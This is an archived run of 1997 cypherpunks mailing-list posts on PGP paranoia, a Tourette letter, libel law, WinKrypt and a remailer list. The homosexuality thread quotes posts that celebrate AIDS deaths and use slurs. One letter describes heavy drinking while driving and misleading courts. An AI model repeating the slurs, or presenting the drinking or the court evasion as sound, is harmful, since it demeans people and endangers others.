>Idaho, after getting my mail), could that passphrase be compromised?
>If so, how would that be done?

:Paranoid yet?  Good.  That's a healthy state to be in.  Fortunately,
:most developers (like Joel) don't put any such evil hooks into
:their software.  Having access to the source, to be able to read
:through it yourself, is IMO one of the better ways to be sure about
:such things. Reading the source and recompiling it yourself is
:probably the best.

:Still paranoid?  Excellent.

Paranoia!! I love that word :)...What about somebody snooping on my phoneline, while I type the passphrase? :)


Harka



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=qEst
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 01:37:06 -0800 (PST)
To: User357419@aol.com
Subject: Sharon / Re: Scott's Legal Problems
In-Reply-To: <970126164357_1446227788@emout17.mail.aol.com>
Message-ID: <32EC93AF.DB8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sharon,
  While I don't have a lot of details regarding Scott's personal
history, as such, I have a lifetime of experience with TS, the medical
system, and the legal system, as well.
  I spent more than a little time in court and at seminars, as a
counsellor, addressing the issues of physical and mental disabilities
and the resulting behavior patterns that are engendered by them. I have
found that both judges and prosecutors inherently understand the issues
themselves, but that defendants rarely have anyone able to effectively
speak for them in regard to these issues.

  The fact of the matter is, the legal system is geared toward
'punishment' as a means of impressing upon people that they need to
modify their behavior in order to act within the boundaries required by
society. In order for people with special needs to be afforded an
opportunity to meet society's requirements, there is an onus upon them
to be able to show reasonable cause to the judge as to why a 'generic'
solution to the problem they present to society is neither feasible, nor
just.
  As a result of being afflicted with Tourette Syndrome, your son has
problems that I am very familiar with, since I have had to deal with the
results of the affliction myself for almost a half-century, without
proper diagnosis. So I will endeavor to explain some of the
life-experiences that I have been through, personally, as a result of
this disease's influence on my life.

  The fact is, I was unjustly charged and convicted of a minor drug
offense at the age of 19, for the simple reason that I was 'different'
from the other 'suspects', and thus was more suspicious. I was fortunate
enough to recognize that I was, indeed, different from others, and that
this would be something that would affect my life greatly in the future.
The result was that I made an effort to fully understand the intricacies
of the law and to take actions to protect myself in the future, no
matter whether my actions were in line with societies dictates, or
beyond the acceptable boundaries of society.
  When you are 'different', then you are subject to a much closer
scrutiny than the rest of society, and to a much harsher punishment, as
a rule. I have spent hours on end at the border crossing near my
hometown while customs officials called down the drug dogs from the big
city, because I couldn't explain to them why I was 'twitching'. I have
spent many days in jail waiting to answer to charges that would later be
dismissed because there was no substance to them. I have been subjected
to personal debasement and humiliating libel because of various
authorities deeming that the manifestations of my disability were signs
of my lack of morality, or of evil intentions on my part.

  You say your son has problems over possessing pills that a friend gave
him to try in order to help his TS?
  My father and mother have given me, over the years, various of their
medications to try in order to see if it would help me. They did so
because, for all of their care and concern, helping me as much as
possible within the 'proper boundaries' of medical science, I was not
getting what I needed in order to become a functional human being.
  My father and mother are respected business people and leading members
of the community. They never had to fear getting 'busted' for stepping
outside the bounds of society--but I did.
  I found a drug, amphetamine, that helped me to become a functional
member of society, but I was subject to arrest and imprisonment if I got
caught possessing it. After over three decades of occasional 'illegal'
use of the drug, it is now prescribed for my by a doctor who is allowed
to do so because it is now a 'recognized' treatment for TS. But, from a
legal standpoint, I was supposed to forego use of the drug and lead a
more dysfunctional life.

  DWI's? The most functional period of my life was spent self-medicating
with alcohol and nicotine. I acted as president of a small computer
company while smoking a carton
of cigarettes a day and drinking a case (24) of beer a day. It made me
functional.
  I put on 30-50,000 miles a year, accident free, and there were times
that I would not drive if I didn't have my 'medicine/beer' because I
didn't feel it was safe to do so. I had the foresight to buy my own
breathalyzer so that I could guage my drinking according to the legal
standard, but I did so only for legal reasons, not for reasons of
safety.

  Public intoxication? I was recently 'forced' to show up in court in a
state of legally defined 'public intoxication' in order not to be locked
in a cage like an animal as a result of my disabilities.
  I missed a court appearance because the prescribed medications I was
taking could not get me onto the 'day schedule' required by the legal
system. Under threat of imprisonment for failing to show up at the next
court date, I spent the previous night imbibing my 'old faithful'
medication, Scotch. I had a friend drive me to court, and I drank Scotch
and Coke while pleading my case (which I won).
  I had no desire to 'break the law'. I did not have an 'attitude
problem'. I was not trying to 'flaunt the rules of society'. I was
trying to survive. I was trying to keep from being locked in a cage for
not being able to function according to society's wishes without
performing actions which also went against society's wishes, but which
would enable me to avoid 'punishment', nonetheless.

  I take it that Scott is 'hiding out' to avoid being locked in a cage
for violating the rules of society.
  I have spent a great deal of my life 'hiding out' so that I would not
have to come into contact with society and be punished for trying to
survive while not fitting into the common mold.
  There have been times when I was forced to 'hide out' from showing up
in court to answer this-or-that charge which I knew would be dismissed
if I could hold out until I was functional enough to deal with the
situation. I had the foresight and the knowledge to do so using the same
'techniques' as a lawyer who isn't ready to plead a case because he
stayed up too late drinking the night before. I 'fudged' the truth, as
lawyers do every day, but I did so in order to compensate for a
dysfunctionality which was very real, but undiagnosed and therefore
unrecognized by the legal system.

  I have been blessed enough in life to have 'escaped' many situations
which could have turned out badly for me, by virtue of learning at a
young age that I needed to institute my own methods of dealing with a
dysfunctionality which I recognized, but which, in many ways, remained a
mystery to me.
  I have also been blessed by having the extreme good fortune to have
encountered a number of judges and prosecutors who were truly concerned
about justice, and who had the ability to judge me as a human being, and
take into account the fact that I was being honest with them about my
attitude, intentions and circumstances, even when my outward actions or
appearance did not correspond to what they were used to seeing in
'normal' people. 
  And I have been blessed to be able to make a difference in the lives
of others by pleading their case to those in authority over them, when
they were unable to effectively do so themselves. During my years as a
consellor and court-appointed advisor, I was only vaguely aware that I
understood the circumstances of the people I was helping to defend
because I shared their disabilities and their dysfunctionality.

  In regard to Scott, I don't know him personally, but the trials and
tribulations that you have shared on the pov-twitch forum are not
foreign to me, as they mirror my own life in many ways.
  What I would say to a judge and a prosecutor who are charged with the
duty of protecting both society and the individual, is this:
 1. Please have the compassion and the wisdom to take a close look at
Scott as a human being, and seriously consider what special
circumstances may be raised by the fact that he is afflicted with a
medical condition that affects his life in ways that he has little
control over.
 2. Try to make a distinction between actions, behaviors and attitudes
that are a result of a 'bad attitude' or a 'criminal intent', and the
actions, behaviors and attitudes of an individual who is trying
desperately to survive in a world in which he is ill-equipped to
function as a result of his disabilities.
 3. Please make an attempt to review his past history of involvement
with the legal system with an eye toward recognizing that perhaps the
judgements made about him, and the resulting legal decisions regarding
the disposition of his cases, did not fully take into account his
physical and mental disabilities and thus did not reflect the best
course of resolution of his case for the greatest benefit of both
society and the individual himself. (The Tourette-support forums
regularly contain postings by loving and concerned parents who are
horrified by the mistaken judgements--and resulting punishments-they
made concerning their children before they came to realize that their
child had physical and mental disabilities which required them to view
his or her actions in a new light, and find unique solutions for the
problems that these disabilities presented.)
 4.  Keep in mind the fact that resistance to authority and the tendency
to 'flee' from the face of society are common traits among many who
suffer from Tourette Syndrome and its accompanying afflictions. (I
posted a message to pov-twitch in which I spoke of feeling like a
"hunted animal" for much of my life, and I received a huge outpouring of
responses from TS-adults which reflected the pain and fear that they
still carried inside of themselves as a result of a lifetime of
persecution for the 'small sin' of being different from those around
them.)
 5. Please realize that you are judging an individual, whose future lies
in your hands, who has a genuine need for special understanding in order
to bring his case to a resolution which will benefit society and the
individual himself.

  It is easy to recognize the special circumstances and needs necessary
to dispense true justice in the case of the 'obviously' and the
'acceptably' disabled. When one is confronted with a retarded
individual, or a person in a wheel-chair, the special circumstances
regarding the disposition of their case are obvious. When judging a
person who is rambling on disjointedly about the voices in his or her
head, and truly hears them, then the need to take this into
consideration is equally obvious.
  It is much more difficult to put Tourette Syndrome-type behaviors and
attitudes into proper perspective, and to judge the part they play in an
individuals actions and behaviors. TS traits encompass ADHD and OCD
(Obsessive-Compulsive Disorder), and a variety of 'borderline'
dysfunctionalities which result in actions and behaviors which are easy
to classify as 'willful', 'disrespectful', etc. (Children who won't sit
still in their chairs; who utter obscenities; who perform impulsive
actions based on irrational, illogical thought processes.)
  I recognize that there are certain instances in which society's
interest is best served by locking up an individual so that they do not
do irrepairable harm to others, but if this concept is extended to the
point where it becomes the preferred method of dealing with
psychological disabilities, out of convenience, then I feel that justice
is no longer being served.

  Society, in return for abridging the rights of an individual to act in
any manner that he or she pleases, also takes on the responsibility to
ensure that the individual will not unduly suffer as a result of the
dictates of society.
  If society chooses to judge Scott for stepping outside the boundaries
of its rule of law, then society must ensure that Scott is afforded the
opportunity to gain the medical assistance that he needs in order to
deal with his disabilities within the bounds of society's laws.
  Imprisonment is hardly likely to be a solution that will result in
changes to Scott's medical disabilities. If the legal system is not able
to propose an alternative to imprisonment, then what hope is there,
really, for anyone who is engaged in a daily battle to overcome the
trials, tribulations and stigmatism associated with the affliction of
Tourette Syndrome.

  I wish you and Scott all the best in dealing with his present
situation, and I hope that you are blessed with a judge who understands
that society is composed of individuals and that, in judging the
individual, he or she is judging society itself.

Love,
 Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: furballs <furballs@netcom.com>
Date: Sun, 26 Jan 1997 22:29:44 -0800 (PST)
To: cypherpunks <dlv@bwalk.dm.com>
Subject: Re: it aint REALLY successful until someone loses his temper <g>
Message-ID: <199701270629.XAA02039@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


>In-Response-To: Atilla T. Hun <attila@primenet.com>

Well, I see that you could'nt leave well enough alone... :-)

Since Snow decided to jump into your face on this one, I might as well
throw my $0.02 on the table as well. Funny how my trashcan stays very empty
these days now that cypherpunks is in my bit bucket...

Frankly, it does not surprise me that homosexuality is yet another
pointless off-topic to be discussed on the list.

My comments appear below in Snow's exchange...

At 08:07 AM 1/26/97 +0000, Attila T. Hun wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>        it aint successful until someone loses his temper <g>        
>
>        well, I do need to admit my slam was a bit hard; but 
>    homosexuality is an abomination before God.
>
>        ...but I did make one impression: Snow does not wish to be on 
>    the "sharp" end of gun with me....
>
>        I think I sent you a copy of my original slam; if not, it's 
>    worth reading and I will resend; 
>
>        scores of comments and sub topics have been generated, some 
>    nitpicking over carrier #1, etc. --but this is the first flame 
>    which surprises me on a list with so many known faggots --you tell 
>    the boys from the girls in SF by grabbing their crotch.
>
>        accutally, I thought my original post was rather 'sympathetic.' 
>
>    ------
>    forwarded by Attila T. Hun <attila@primenet.com> 
>    original sender was snow <snow@smoke.suba.com> 
>    ------
>
>    Date: Sun, 26 Jan 1997 00:23:18 -0600 (CST)
>    From: snow <snow@smoke.suba.com>
>    To: "Attila T. Hun" <attila@primenet.com>
>    Cc: cypherpunks@toad.com
>    Subject: Sort this directly to Flames, was Re: Homosexuals
>    Sender: owner-cypherpunks-unedited@toad.com
>
>> In <199701241414.GAA25350@toad.com>, on 01/24/97
>>    at 07:17 AM, "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> said:
>> +Anything?  My good friend TRRCJ3 reports from San Francisco that the
>> +city is much nicer now that so many homosexuals are 6 feet under.
>> +Thank God for AIDS.
>
>    attila:
>>         when AIDS was relatively obscure, I always dismissed AIDS as
>>     God's response to homosexuality (and other crimes against nature);
>>     i.e. -settlement by a just God.
>
>     I almost threw a dumb ass redneck of a ship in the middle of the ocean
>for a comment like this.

Everyone's entitled to an opinion. By stating the above, what he accuses
you of, he is just as guilty of in reverse. Frankly, having grown up in a
red neck crowd, and then coming to grips with the offbeat communities in
So. Cal. was a real eye opener. One can choose to fight it outloud and
create havoc whereever they go, or realize that what others do in the
privacy of their own domain is their business and doesn't affect your
manhood one way or another. 

This politically correct bullshit response is just symptomatic of someone
who is uncomfortable with the position taken for expediency's sake and is
trying to justify to himself the course taken.

>
>    I've read a lot of your rantings on this list, and I agree with some of 
>them, but statements like this prove that you are a bigoted idiot. You may
>have some areas where you know what you are talking about, and I wouldn't
want
>to be on the sharp end of a gun you were holding, but your head is
definately 
>stuck firmly up your ass. 

Ok, we throw down the gauntlet here in true USENET style, and in keeping
with that, have nothing of value to say (just name calling).

>
>>         Unfortunately, some of these boy-girls could not keep it among
>>     themselves, and the closet queens brought it home.  AIDS replicates
>
>     Let's not forget the Hemophilliacs(spelling) and IV drug users.

He does bring up a point, which does in some ways support your poistion here.

>
>>     asexually, knowing no boundaries.
>
>     It was purely by accident that HIV was first noticed in the Homosexual 
>population in this country.
>

Not true. Aids has been here for many years. They have historically traced
it back to Africa where they have records delineating the disease amongst
the Eurpoeans and those not indiginous to the area. Interesting that the
WHO and other medical groups are studying tribes in Zaire and Congo right
now that have a natural immunity to the bug. Considering they have lived in
the areas for countless years, it would make sense that natural genetic
selection would propogate those who would be resistent and live long enough
to have children. Also of interest, is the fact that the living population
under study does not practice homosexual behavoir, as it is by virtue of
the practice, pointless to the continuance of the tribe.

As to the "discovery" of AIDS in the gay population in the US. There was no
discovery, as it was a health problem that started spinning out of control
within the community. Ofcourse the Murdock press loved the setup as it
introduced the proper shock value needed to sell subscriptions - much like
the macabre sense of curiosity at viewing a terrible auto accident. Human
nature... it never changes.

>    Viruses don't know anything about a persons sexual preference, and any 
>so called "god" that would use such a non-selective weapon is not a god 
>intelligent people should worship. Such a god would be a blind ignorant god.

Now Snow is dictating his view of God onto yours. Bad form. No justifiable
position to defend. but we do it with vim and vigor... :-)

>
>>         I would not wish the disease upon anyone, but if you play, you
>>     just might pay --as in "...reap what thy hath sown."
>
>    Tell that to some 1 month old whose mother infected him/her. Tell that
>to a 5 year old who got it from a blood transfusion. 

Someone ought to teach him about the difference between agency and
responsibility - nah, he'd use his agency to deny it anyay... :-)

>
>>         To be strongly opposed to homosexuality has nothing to do with
>>     bigotry, political correctness, or aberrationist apologists; it is
>>     an exposition of the natural order among the species.
>
>     Answer me 2 questions:
>
>     1) If homosexuality is a "choice", why would anyone choose that
lifestyle
>where the averge life expectancy is in the 40's, that causes so much pain 
>among ones family, and so much conflict with the rest of society.
>
>     2) If it is not a choice, why would "god" punish those who had no
choice? 
>

These two points deny the existence of agency in it's basic form, and deny
God by denying his omniscience, and omnipoitence; two basic characteristics
of the office. If God were fallable, or human (fallable), then logic would
dictate a being of higher plane and that our explict trust in him would be
subject to condition, thus invalidating the purpose and scope of religion
from a immutable definite to a maybe.

Again, a position impossible to defend. Purely opinion.

>>         and for those who deny God, read Darwin as to the relative
>>     rate of survival for deviant and/or abnormal species.
>
>     Then how do you explain homosexual behavior in several other species 
>that seem to be doing quite well?
>

Donald Woomer answered that question, by pointing out that in the Ag
business, it has been observed that ~10% of livestock of many breeds
exhibit homosexual tendencies. It doesn't matter the sex of the animal,
it's genes do not get passed on to the next generation as it refuses to
propogate with the opposite sex in many instances. This does not mean the
livestock population is threatened in toto. Infact, the population will
continue to thrive. It is when a large percentage of a given herd shows
this tendency that the herd declines, dissolves or is taken over by a
healthy herd to promulgate the species. The instict for self-preservation
is strong, and it is falacious to assume that we has humans can attribute
human attributes to such as cattle or sheep.

Given the the above claim by Snow, does this mean that man kind is nothing
more than livestock? Again, this denies agency and denies the greater
intellect that humans enjoy. To wit: when was the last time you saw a cow
expressing a global concern about politics on USENET? :-)

>     The answer is you can't. You adopt a knee-jerk position that reinforces
>your deliberate isolationism. Anything that may cause you to question your 
>worldview gets sorted to /dev/evil and you plow ahead like some pig ignorant 
>dough boy killing as ordered for king and country.

Who's the ignorant one here? The name caller or the recipient. My vote goes
to the name caller, as he assumes this to be a debate of fact, when in
essence he's expressed only his opinion on the matter and not bothered to
show teacher his homework (the dog ate it - so give me an "A" anyway 'cause
I deserve it). ;->

...Paul





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 02:31:34 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Fantasy quotes & libel
In-Reply-To: <199701270630.AAA02364@einstein>
Message-ID: <32ECA081.7C76@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim,
 I enjoyed the 250,000 legalese-spams that you posted to the cypherpunks
list. You are certainly handy with a search-engine.
 You have certainly shown that the shotgun-approach to legal issues is
a valid one, as one of your posts actually came close to being relevant.

Jim Choate wrote:
> With the current 'editorial control' as provided by the cypherpunks mailing
> list the mailing list operator/censor may also be held in some situations
> accountable as well. This occurs because the relationship between list
> operator and the quoter is similar to that of editor and reporter in a
> newspaper. For the quoter to get his quote distributed the list operator
> must ok it. The reasoning used is that the editor 'should have known' the
> boundaries and applied them.

  Well, I'm certainly glad to hear that you feel you have the legal 
standing to sue the pants off of Sandy and John. When you're done with
them, you might want to check out Canadian law and think about suing
myself, as well.
  Of course, I realize that, given your strong position in regard to
the need not to interfere in the rights of others to exert dicatatorial
control over the content which passes through systems that they have
paid for with their own money, you would not be so hypocritical as to
attempt to interfere with those rights.
  An intelligent fellow such as yourself certainly wouldn't be so
ignorant as to stand up in court and declare that the right to exert
dicatatorial power by virtue of money and position should be negated
only when it affects you personally.

  I am sincerely in your debt for pointing out to me that the purchase
of my hardware and software, and the money I spend in maintaining it,
give me license to exert total control over anything that passes 
through it.
  It was only the knowledge that you are a man who stands behind his
statements that enabled me to recognize your post expressing whining
outrage that the principles you espouse should apply equally to all
were meant as humor, despite your failure to add the little happy-face
grin :).

Toto
 
> Not only is ignorance not an excuse but neither is negligence.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 02:59:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypher-Apology
Message-ID: <32ECA741.2E2B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


I seem to have posted one of my private emails to the conference by 
mistake. It was in regard to a lady whose son is going to court in the
morning and has nothing to do with crypto. (unless I try to make a
supremely long leap in relating Tourette Syndrome to the Timmy May
'cocksucker' postings)
  My first instinct was to blame Bill Gates for holding me hostage and
forcing me to use Win95. My second instinct was to try to excuse my
error by blaming the ingestion of large amounts of drugs and alcohol
for my misdirection of my email.
  However, after consultation with the space aliens who speak to me
through the mercury filling in my teeth, I have come to the realization
that the error was the result of the fact that I am a fucking idiot.

  I imagine that my apology will not be received by those on the 
censored list, as I have just 'flamed' myself. I would apologize for
this, as well, but I am still sober enough to realize that this could
quite possibly result in an endless-apology-loop which would interfere
with the rights of those on the cypherpunks-uncensored list to receive
the "Make $$Money$$ Fast" postings that Sandy has been so kind to
forward to those who oppose censorship of list subscribers.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 27 Jan 1997 06:44:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <199701271444.GAA24207@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:48 AM 1/24/97 -0800, Greg Broiles wrote:

...
>While I think it's always useful to consider unintended (or otherwise
>unexpected) consequences, Gladwell's argument sent a shiver down my spine
>with its shameless paternalism. This bit (from roughly the middle of his
>piece) is what I found creepiest:
>
>"According to one recent study, somewhere between twenty and twenty-seven
>per cent of the parents of four-to six-year-olds never restrict their
>children's viewing hours, never decide what programs they can watch, never
>change the channel when something objectionable comes on, and never forbid
>the watching of certain programs. It has apparently never occurred to these
>parents that television can be a bad influence, and it strains credulity to
>think that the advent of the V-chip is going to wake them up. Yet their
>families - mainly lower-income, ill-educated - are the very ones most in
>need of protection from television violence. Here is a rearranging effect
>with a vengeance: not only does the V-chip make television worse, it makes
>television worse precisely for those already most vulnerable to its excesses."
>
>I understood Gladwell's point to be, in essence, that the V-chip will allow
>TV producers to generate higher levels of morally impure content which he
>fears will pollute the minds of poor children because their parents are too
>stupid to protect them from the harmful content and too poor to buy new
>televisions which will include V-chips.
...
What this means is, subsidized v-chip upgrades, and v-chips turned on by
default.
Now to watch the really good stuff you have to subscribe to "tv-un v-chipped"
Sorry, I couldn't resist the pot shot.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 27 Jan 1997 06:53:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199701271450.GAA19056@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 27 Jan 97 6:48:19 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ****#**#**##     1:33  99.99%
balls    remailer@huge.cajones.com        *****++###*#     2:40  99.98%
dustbin  dustman@athensnet.com            --+---+---+   2:14:49  99.92%
winsock  winsock@rigel.cyberpass.net      ------------  4:55:21  99.87%
exon     remailer@remailer.nl.com         ###*### ####      :37  99.76%
haystack haystack@holy.cow.net            ###+*##***#*    29:02  99.72%
weasel   config@weasel.owl.de             ++++++-++++   1:17:40  99.33%
squirrel mix@squirrel.owl.de               +++-++++++   1:16:21  99.16%
extropia remail@miron.vip.best.com        -----------   3:58:51  99.13%
lead     mix@zifi.genetics.utah.edu       +*+*+ +++--+  2:05:09  98.97%
middle   middleman@jpunix.com             --  .-*++.    8:38:28  98.42%
mix      mixmaster@remail.obscura.com        __.-+-.-  25:34:03  97.98%
cyber    alias@alias.cyberpass.net        +*+**+++*+ *  1:28:18  96.80%
reno     middleman@cyberpass.net           -+--- +--+   1:16:40  95.45%
lucifer  lucifer@dhp.com                  ++++++++   +  1:24:25  95.15%
replay   remailer@replay.com              ***   * *       16:22  69.31%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gt@kdn0.attnet.or.jp (Gemini Thunder)
Date: Sun, 26 Jan 1997 22:52:49 -0800 (PST)
To: Frank Willoughby <frankw@in.net>
Subject: Re: WinKrypt
In-Reply-To: <199701270226.SAA03590@toad.com>
Message-ID: <32ed4fa1.277575631@kdn0.attnet.or.jp>
MIME-Version: 1.0
Content-Type: text/plain


Thus sprach Frank Willoughby <frankw@in.net>:

>Out of curiosity, is anyone familiar with WinKrypt by Syncronsys?

Syncronsys [sp?] Software is the maker of SoftRam95, a program that
 supposedly doubled your memory through memory compression and other
 quasi-magical means. It was later revealed that not only did it not
 work as advertised, but it actually did not do anything at all
 (except display graphs indicating non-existant improvements).  IIRC,
 they lost a class action suit over this issue.

I would trust an encryption program relased to the public by the NSA
 more than anything these charlatans released.

[snip]
>I was curious how it compares to McAfee's PC Crypto which uses 
>40-bit DES or 160-bit Blowfish (user-chooses) & other PC/laptop
>encryption products.  BTW, I would also appreciate your input 
>on any crypto products which you believe to be robust, easy-to-use 
>& secure.  (I know I can only have 2 out of 3, but it's worth a try 
>anyway).  8^)  

I consider PGP to be robust, easy-to-use (with some front-end
 assistance), and secure.  However, I am by no means an authority on
 crypto.

__________
- 2[b]||!2[b] /* What's the question?  It's a tautology! */
- 0x2B|!0x2B  /* == FFFFFFFF */





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Mon, 27 Jan 1997 04:00:22 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
In-Reply-To: <199701270714.BAA00545@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970127064951.27949E-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


drgrubor is now at the pgh.org instead of aol.com

On Mon, 27 Jan 1997, Igor Chudov @ home wrote:

> [Cc: to Dr. John Martin Grubor, Law Systems Institute, Medical-Cannabis Assn]
> 
> Jim Choate wrote:
> > 
> > 
> >    Landskroner, LTD. [INLINE]
> >    
> > Libel / Slander
>  
> I am not sure if you posted this information in response to my request
> to cite a statute that would prove that libel is a crime.
> 
> Me> Jim Choate wrote:
> Me> > 
> Me> > 
> Me> > 
> Me> > Are you aware that attributing statements in print to a party when that
> Me> > party did not write them is a crime?
> Me> 
> Me> cite the statute
> 
> 
> These postings do not prove that libel is a crime. It is because libel
> is not a crime. Libel is a tort, and unlike with crime, the government
> cannot initiate a legal action against someone for libel. Only injured
> (libeled) individuals and not the government can sue in a libel case.
> 

That is correct.  Libel is a tort and not a crime.

> I would appreciate if someone more knowledgeable about the law could
> comment on this. I may be mistaken.
> 
> igor 

No, you are correct Igor.  Libel is written defamation, and defamation
is NEVER a crime in the USA.  It may be in other countries, but not
the good old USA.

> 
> >    Libel / Slander is an area that involves defamatory oral or written
> >    statements containing false and misleading material which causes
> >    damage or injury to reputation and/or monetary loss.
> >    

And it is tough to prove.  Just where was this article posted at?

> >    We provide a quick review of their success stories , some media and
> >    newspaper articles about what they've been able to do for their
> >    clients, and published articles about this topic.
> >    
> >    Please e-mail us with questions about our service! Landskroner and
> >    Phillips 
> >    [INLINE]
> >    
> >    Nationally Recognized Consumer Trial Advocates.
> >    Over 100 Years combined experience in both State and Federal Courts.
> >    

These guys do not know what they are talking about.

> >    55 Public Square, Tenth Floor, Cleveland Ohio 44113-1904
> >    Phone: (216) 241-7000
> >    Fax: (216) 241-3135
> >    Toll Free: (888) 241-7001
> >    [INLINE]
> > 
> 
> 
> 
> 	- Igor.
> 

The assholes are not Criminal Lawyers, and I will give them a call
to check them out...

I left a mesage with them. and told the InterNet lawyer to call
be back.  This is just a Civil Law firm looking for business.

-aga






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 07:27:23 -0800 (PST)
To: Daniel Harter <dharter@harter.pg.md.us>
Subject: Re: overview.htm (fwd)
